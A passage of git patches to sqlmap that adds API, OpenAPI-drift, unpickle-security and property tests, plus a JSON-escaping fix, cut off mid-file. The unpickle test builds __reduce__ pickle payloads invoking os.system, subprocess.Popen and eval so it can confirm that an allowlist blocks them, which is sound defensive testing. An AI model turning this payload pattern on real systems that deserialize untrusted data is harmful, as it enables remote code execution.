socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() + + username, password = "test", "test" + apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py")) + + try: + devnull = subprocess.DEVNULL + except AttributeError: + devnull = open(os.devnull, "wb") + + process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull) + + base = "http://%s:%d" % (address, port) + + def _call(path, data=None, authorize=True): + # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap + # process installs a global keep-alive opener and patches http.client, which makes a + # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request + # (Connection: close, read to EOF) is hermetic and immune to all of that. + method = "POST" if data is not None else "GET" + lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)] + if authorize: + lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False)) + body = getBytes(json.dumps(data)) if data is not None else b"" + if data is not None: + lines.append("Content-Type: application/json") + lines.append("Content-Length: %d" % len(body)) + lines.append("Connection: close") + request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(10) + try: + s.connect((address, port)) + s.sendall(request) + raw = b"" + while True: + chunk = s.recv(8192) + if not chunk: + break + raw += chunk + except Exception as ex: + logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex))) + return None, None + finally: + s.close() + + head, _, payload = raw.partition(b"\r\n\r\n") + try: + code = int(head.split(b"\r\n")[0].split(b" ")[1]) + except (IndexError, ValueError): + return None, None + try: + return code, json.loads(getText(payload)) + except ValueError: + return code, None + + try: + # wait for the server process to come up (or die trying) + for _ in xrange(200): + if process.poll() is not None: + logger.error("API test: server process exited prematurely (address: '%s')" % base) + return False + code, data = _call("/version") + if code == 200 and data and data.get("success"): + break + time.sleep(0.1) + else: + logger.error("API test: server did not come up (address: '%s')" % base) + return False + + logger.info("REST API server running at '%s'..." % base) + + results = [] + + def _check(name, condition): + results.append((name, bool(condition))) + if not condition: + logger.error("API test: check '%s' FAILED" % name) + + # GET /version - success envelope + MAJOR-only integer api_version + code, data = _call("/version") + _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version")) + + # the auth hook must reject an unauthenticated request + code, _ = _call("/version", authorize=False) + _check("auth-401", code == 401) + + # GET /task/new - mint a task + code, data = _call("/task/new") + taskid = data.get("taskid") if data else None + _check("task-new", code == 200 and data and data.get("success") and taskid) + + # POST /option//set then read it back via /get and /list (JSON round-trip + IPC) + code, data = _call("/option/%s/set" % taskid, {"flushSession": True}) + _check("option-set", code == 200 and data and data.get("success")) + + code, data = _call("/option/%s/get" % taskid, ["flushSession"]) + _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True) + + code, data = _call("/option/%s/list" % taskid) + _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict)) + + # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it + code, data = _call("/admin/list") + _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {})) + + # a bogus task ID must produce a failure envelope (not a crash) + code, data = _call("/option/%s/list" % "nonexistent") + _check("invalid-task", data is not None and data.get("success") is False) + + # GET /task//delete - tear the task down + code, data = _call("/task/%s/delete" % taskid) + _check("task-delete", data and data.get("success")) + + if all(ok for _, ok in results): + logger.info("API test final result: PASSED") + else: + retVal = False + logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok)) + finally: + try: + process.terminate() + process.wait() + except Exception: + pass + + return retVal + def smokeTest(): """ Runs the basic smoke testing of a program diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 77bcb44db3c..6482356043f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -875,6 +875,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--disable-json", dest="disableJson", action="store_true", help=SUPPRESS) @@ -1129,7 +1132,7 @@ def _format_action_invocation(self, action): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index da6b3ab0c15..19987565651 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -188,6 +188,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.apiTest: + from lib.core.testing import apiTest + os._exitcode = 1 - (apiTest() or 0) else: from lib.controller.controller import start if conf.profile: @@ -600,7 +603,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py new file mode 100644 index 00000000000..b38fd16eb37 --- /dev/null +++ b/tests/test_openapi_drift.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Contract test: the OpenAPI spec (sqlmapapi.yaml) must stay in lock-step with the +REST API actually served by lib/utils/api.py. The spec is hand-maintained, so it +is the exact thing that silently drifts when an endpoint is added/renamed/retyped. + +This walks the live Bottle route table (every @get/@post registers at import time) +and the spec's `paths:` block, and asserts the (method, path) sets are identical +in BOTH directions - no undocumented route, no phantom spec entry - plus that the +spec's advertised version matches the runtime RESTAPI_VERSION. + +PyYAML is not bundled (and the suite is stdlib-only / no pip), so the spec is read +with a tiny indentation-aware scanner that only needs the paths + info.version. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api # noqa: F401 (importing registers every route on Bottle's default app) +from lib.core.settings import RESTAPI_VERSION +from thirdparty.bottle.bottle import default_app + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SPEC = os.path.join(ROOT, "sqlmapapi.yaml") + +# Bottle-only routes that are not part of the documented public contract +INTERNAL_RULES = ("/error/401",) + +HTTP_METHODS = ("get", "post", "put", "delete", "patch", "head", "options") + + +def _normalize_rule(rule): + # Bottle '' / '' -> OpenAPI '{taskid}' / '{filename}' + return re.sub(r"<([^:>]+)(?::[^>]+)?>", r"{\1}", rule) + + +def _app_pairs(): + pairs = set() + for route in default_app().routes: + rule = _normalize_rule(route.rule) + if rule in INTERNAL_RULES: + continue + pairs.add((route.method.lower(), rule)) + return pairs + + +def _spec_paths_and_version(text): + """Returns (set of (method, path), info.version) from the YAML text.""" + pairs = set() + version = None + section = None + current_path = None + + for line in text.splitlines(): + if not line.strip() or line.lstrip().startswith("#"): + continue + + top = re.match(r"^(\S[^:]*):", line) # a column-0 key starts a new top-level section + if top: + section = top.group(1) + current_path = None + continue + + if section == "info": + m = re.match(r"^ version:\s*(.+?)\s*$", line) + if m: + version = m.group(1).strip().strip('"').strip("'") + elif section == "paths": + m = re.match(r"^ (/\S*):\s*$", line) # 2-space path key + if m: + current_path = m.group(1) + continue + m = re.match(r"^ (\w+):\s*$", line) # 4-space method key + if m and current_path and m.group(1).lower() in HTTP_METHODS: + pairs.add((m.group(1).lower(), current_path)) + + return pairs, version + + +class TestOpenAPIDrift(unittest.TestCase): + def setUp(self): + with open(SPEC) as f: + self.spec_pairs, self.spec_version = _spec_paths_and_version(f.read()) + self.app_pairs = _app_pairs() + + def test_parsers_found_something(self): + # guard against a silently-empty parse making the equality checks vacuously pass + self.assertTrue(len(self.app_pairs) >= 15, self.app_pairs) + self.assertEqual(len(self.spec_pairs), len(self.app_pairs)) + + def test_no_undocumented_endpoint(self): + missing = self.app_pairs - self.spec_pairs + self.assertEqual(missing, set(), "served but absent from sqlmapapi.yaml: %s" % sorted(missing)) + + def test_no_phantom_spec_entry(self): + extra = self.spec_pairs - self.app_pairs + self.assertEqual(extra, set(), "in sqlmapapi.yaml but not served: %s" % sorted(extra)) + + def test_version_matches_runtime(self): + self.assertEqual(self.spec_version, RESTAPI_VERSION, "sqlmapapi.yaml version '%s' != RESTAPI_VERSION '%s'" % (self.spec_version, RESTAPI_VERSION)) + + +if __name__ == "__main__": + unittest.main() From 7c401cab644833def78f5ca2de44cacae356d4df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 17:12:52 +0200 Subject: [PATCH 567/853] Adding new unittest --- data/txt/sha256sums.txt | 3 +- lib/core/settings.py | 2 +- tests/test_unpickle_security.py | 121 ++++++++++++++++++++++++++++++++ 3 files changed, 124 insertions(+), 2 deletions(-) create mode 100644 tests/test_unpickle_security.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9ad288a4d73..21ae03dd3e5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d9180ce5490c781b8f8771b0d5754d27f550aae963ad36731e0d0941a0f8590c lib/core/settings.py +36122bca78fe2d2a3b9d2c882ef0ab05a4f4032b3eac7b6c8974871997c24429 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -599,6 +599,7 @@ f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tam b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py 4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b5d9d70c9cf..8db577095d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.111" +VERSION = "1.10.6.112" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_unpickle_security.py b/tests/test_unpickle_security.py new file mode 100644 index 00000000000..a3cf63a2e7b --- /dev/null +++ b/tests/test_unpickle_security.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Locks the RestrictedUnpickler security control (lib/core/patch.py, installed over +pickle.loads by dirtyPatches()). sqlmap deserializes pickled blobs out of its own +session DB / cache, so the unpickler is an ALLOWLIST: only safe builtin data types +and sqlmap's own (lib/plugins/thirdparty) classes may be reconstructed. + +Two directions, both of which must keep holding: + - LEGIT round-trips sqlmap actually relies on (AttribDict, BigArray, nested + builtins, and - the easy-to-regress one - bytes under PICKLE_PROTOCOL=2, which + emits a _codecs.encode global) must survive base64pickle -> base64unpickle. + - MALICIOUS / exotic globals (eval, os.system, subprocess.Popen, importlib, + operator.attrgetter, and even the non-whitelisted _codecs.lookup) must be + REJECTED at find_class time, before the object is ever built. + +A regression in either direction is a security or a data-loss bug, hence the test. +""" + +import os +import pickle +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() # installs dirtyPatches(), i.e. the RestrictedUnpickler over pickle.loads + +from lib.core.bigarray import BigArray +from lib.core.convert import base64pickle, base64unpickle, encodeBase64 +from lib.core.datatype import AttribDict +from lib.core.settings import PICKLE_PROTOCOL + + +class _EvilReduce(object): + """On unpickling, __reduce__ asks the loader to resolve (and would call) an arbitrary global.""" + def __init__(self, func, args): + self._func = func + self._args = args + + def __reduce__(self): + return (self._func, self._args) + + +def _payload(func, *args): + # built with the REAL pickler (only pickle.loads is restricted, not dumps); base64 to mirror + # exactly what base64unpickle() consumes from sqlmap's session store + return encodeBase64(pickle.dumps(_EvilReduce(func, args), PICKLE_PROTOCOL), binary=False) + + +class TestUnpicklerIsInstalled(unittest.TestCase): + def test_patch_active(self): + # if this is False the whole allowlist is bypassed and the negative tests would pass vacuously + self.assertTrue(getattr(pickle, "_patched", False)) + + +class TestLegitRoundTrips(unittest.TestCase): + def _roundtrip(self, value): + return base64unpickle(base64pickle(value)) + + def test_nested_builtins(self): + value = {"a": [1, 2.5, True, None, complex(1, 2)], "b": (u"x", b"y"), "c": {3, 4}, "d": frozenset([5])} + self.assertEqual(self._roundtrip(value), value) + + def test_bytes_protocol2(self): + # protocol-2 pickling of bytes on Python 3 emits a _codecs.encode global; this is the + # exact case the allowlist explicitly permits, and the one most likely to silently break + for value in (b"", b"\x00\x01\x02binary\xff", bytearray(b"abc")): + self.assertEqual(self._roundtrip(value), value) + + def test_attribdict(self): + value = AttribDict() + value.foo = "bar" + value.nested = {"k": [1, 2]} + restored = self._roundtrip(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, "bar") + self.assertEqual(restored.nested, {"k": [1, 2]}) + + def test_bigarray(self): + restored = self._roundtrip(BigArray([1, 2, 3])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, 3]) + + +class TestMaliciousRejected(unittest.TestCase): + def _assert_blocked(self, payload): + # find_class() raises ValueError; base64unpickle only swallows TypeError, so it propagates + self.assertRaises(ValueError, base64unpickle, payload) + + def test_dangerous_builtins(self): + # builtins are allowed ONLY for the safe data-type subset; callables must be refused + for func in (eval, getattr, __import__): + self._assert_blocked(_payload(func, "1+1") if func is eval else _payload(func, "x")) + + def test_os_system(self): + self._assert_blocked(_payload(os.system, "echo pwned")) + + def test_subprocess_popen(self): + self._assert_blocked(_payload(subprocess.Popen, "echo pwned")) + + def test_importlib(self): + import importlib + self._assert_blocked(_payload(importlib.import_module, "os")) + + def test_operator_attrgetter(self): + import operator + self._assert_blocked(_payload(operator.attrgetter, "system")) + + def test_codecs_lookup_not_whitelisted(self): + # only _codecs.encode is allowed (for the bytes round-trip); every other _codecs name stays blocked + import codecs + self._assert_blocked(_payload(codecs.lookup, "utf-8")) + + +if __name__ == "__main__": + unittest.main() From c210daca043121f93e76007f9282884bb6a0c285 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:17:31 +0200 Subject: [PATCH 568/853] Minor bug fix --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 21ae03dd3e5..87b60e2df0b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -2e5ee80b24bd6dd961b64357e745012145a44d52c49a525d8f5f5e893a8ccb8d lib/core/common.py +1452ffc42657bea207583173de9829dddf4afd9b159c785284e43878de492afb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -36122bca78fe2d2a3b9d2c882ef0ab05a4f4032b3eac7b6c8974871997c24429 lib/core/settings.py +4d42429d71efaf20f17cc7709b0da60f661c7cd100855c7b71d6248d5d905319 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -601,7 +601,7 @@ b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_tar 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py +23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py diff --git a/lib/core/common.py b/lib/core/common.py index 87b0f986328..b1b205ddfd0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1839,7 +1839,7 @@ def escapeJsonValue(value): retVal = "" for char in value: - if char < ' ' or char == '"': + if char < ' ' or char in ('"', '\\'): # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string retVal += json.dumps(char)[1:-1] else: retVal += char @@ -3703,8 +3703,8 @@ def unArrayizeValue(value): if isListLike(value): if not value: value = None - elif len(value) == 1 and not isListLike(value[0]): - value = value[0] + elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable + value = next(iter(value)) else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None diff --git a/lib/core/settings.py b/lib/core/settings.py index 8db577095d4..02cee2bdd58 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.112" +VERSION = "1.10.6.113" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From be284e9fe57b110c4ed974462dcba0e08dc45d64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:18:05 +0200 Subject: [PATCH 569/853] Adding more unittests --- data/txt/sha256sums.txt | 3 +- lib/core/settings.py | 2 +- tests/_testutils.py | 63 ++++++++++ tests/test_property.py | 264 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 330 insertions(+), 2 deletions(-) create mode 100644 tests/test_property.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 87b60e2df0b..11dab7d7b50 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4d42429d71efaf20f17cc7709b0da60f661c7cd100855c7b71d6248d5d905319 lib/core/settings.py +03034e80de6b81ec5d5482f8c4dff1722f636f09e226f42b6849e78164da3682 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -589,6 +589,7 @@ caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_mis cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +5dc46919f971f89a3073118ec00bf420cc9cecf0b072b2f896df2f860e87adec tests/test_property.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 02cee2bdd58..9d859b1c5eb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.113" +VERSION = "1.10.6.114" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/_testutils.py b/tests/_testutils.py index 1858e9d857e..7ec9a4e3b4f 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -87,3 +87,66 @@ def set_dbms(name): from lib.core.data import kb kb.stickyDBMS = False Backend.forceDbms(name) + + +# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- + +_PROPERTY_BASE = 0x51A1 + + +class Rng(object): + """Deterministic, cross-version-identical PRNG (a pure-integer LCG, no global state). + + sqlmap runs on Python 2.7 and 3.x, whose stdlib `random` yield DIFFERENT sequences + for the same seed - and `random.Random` instance methods are not unified by + patch.unisonRandom() (which only patches the module-level random.choice/randint/ + sample/seed). Property tests need inputs that are byte-for-byte identical on every + interpreter so a CI-only failure reproduces everywhere; integer math is identical + across versions, so this LCG (same constants as unisonRandom) guarantees it by + construction. Draw ONLY through these methods - never random.random()/shuffle()/etc. + """ + + def __init__(self, seed): + self.x = seed & 0xFFFFFF + + def _next(self): + self.x = (1140671485 * self.x + 128201163) % (2 ** 24) + return self.x + + def randint(self, a, b): + return a + self._next() % (b - a + 1) + + def choice(self, seq): + return seq[self.randint(0, len(seq) - 1)] + + def sample(self, seq, k): + # Note: with replacement (matches unisonRandom's _sample); fine for input generation + return [self.choice(seq) for _ in range(k)] + + def blob(self, n): + return bytes(bytearray(self.randint(0, 255) for _ in range(n))) + + +def _label_offset(label): + # stable across versions/runs (unlike hash(), which varies with PYTHONHASHSEED): just sum bytes + return sum(bytearray((label or "").encode("utf-8"))) * 7919 + + +def for_all(testcase, generator, prop, n=400, label=""): + """Property runner: draw `n` cases from generator(rng) and assert prop(case) holds. + + `prop` passes by returning True/None, fails by returning False or raising. On any + failure the EXACT offending input and its case index are reported; the same input + is reproducible (and identical on every interpreter) via Rng(seed_for(label, i)). + """ + base = _PROPERTY_BASE + _label_offset(label) + for i in range(n): + case = generator(Rng(base + i)) + try: + ok = prop(case) + except Exception as ex: + testcase.fail("%s: raised %r on input %r (case %d)" % (label or "property", ex, case, i)) + return + if ok is False: + testcase.fail("%s: property does not hold on input %r (case %d)" % (label or "property", case, i)) + return diff --git a/tests/test_property.py b/tests/test_property.py new file mode 100644 index 00000000000..cc1b00e3a1a --- /dev/null +++ b/tests/test_property.py @@ -0,0 +1,264 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Property/fuzz tests for the pure parsers and transforms. Where the other test +files pin specific examples, these assert INVARIANTS over hundreds of randomized +(but deterministic, cross-version-identical - see _testutils.Rng) inputs, which is +the cheap net for the edge-bug class that example tests miss (commas inside quoted +literals / nested parens, NUL / 0xff / astral code points in codecs, etc.). + +Property families: + - codec/serializer pairs round-trip: decode(encode(x)) == x + - structure transforms preserve their contract (flat/de-arrayized/permutation) + - string transforms hold their stated invariant (ASCII-only, no newlines, ...) + - random helpers respect length / alphabet / range bounds + - splitFields/zeroDepthSearch partition faithfully and never cut inside a group + - a batch of transforms never raise on arbitrary input + +On failure _testutils.for_all prints the exact offending input + its case index so +it reproduces on any interpreter. +""" + +import os +import string +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, for_all, set_dbms +bootstrap() + +from extra.cloak.cloak import cloak, decloak +from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, isListLike, normalizeUnicode, + prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, + sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, + urlencode, zeroDepthSearch) +from lib.core.convert import (base64pickle, base64unpickle, decodeBase64, decodeHex, dejsonize, encodeBase64, + encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, + jsonize, stdoutEncode) +from lib.core.data import kb +from lib.utils.safe2bin import safecharencode + + +# --- input strategies (draw ONLY through rng: randint / choice / sample / blob) --- + +# deliberately loaded with structural metacharacters + tricky code points +_TEXT = [u"a", u"Z", u"7", u" ", u",", u"'", u'"', u"(", u")", u"\\", u";", + u"\n", u"\t", u"\x00", u"\x7f", u"\xe9", u"\u0107", u"\u4e2d", u"\U0001F600", u" FROM "] + + +def gen_text(rng): + return u"".join(rng.choice(_TEXT) for _ in range(rng.randint(0, 24))) + + +def gen_ascii(rng): + return u"".join(rng.choice(string.printable) for _ in range(rng.randint(0, 20))) + + +def gen_blob(rng): + return rng.blob(rng.randint(0, 32)) + + +def gen_json(rng): + # JSON-safe only: tuples become lists and non-str keys are coerced, so exclude them here + if rng.randint(0, 4) == 0: + return [gen_json(rng) for _ in range(rng.randint(0, 3))] + if rng.randint(0, 4) == 0: + return dict((u"k%d" % j, gen_json(rng)) for j in range(rng.randint(0, 3))) + return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) + + +def gen_pickle(rng): + kind = rng.randint(0, 9) + if kind < 5: + return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) + if kind < 7: + return [gen_pickle(rng) for _ in range(rng.randint(0, 3))] + if kind < 8: + return tuple(gen_pickle(rng) for _ in range(rng.randint(0, 3))) + if kind < 9: + return 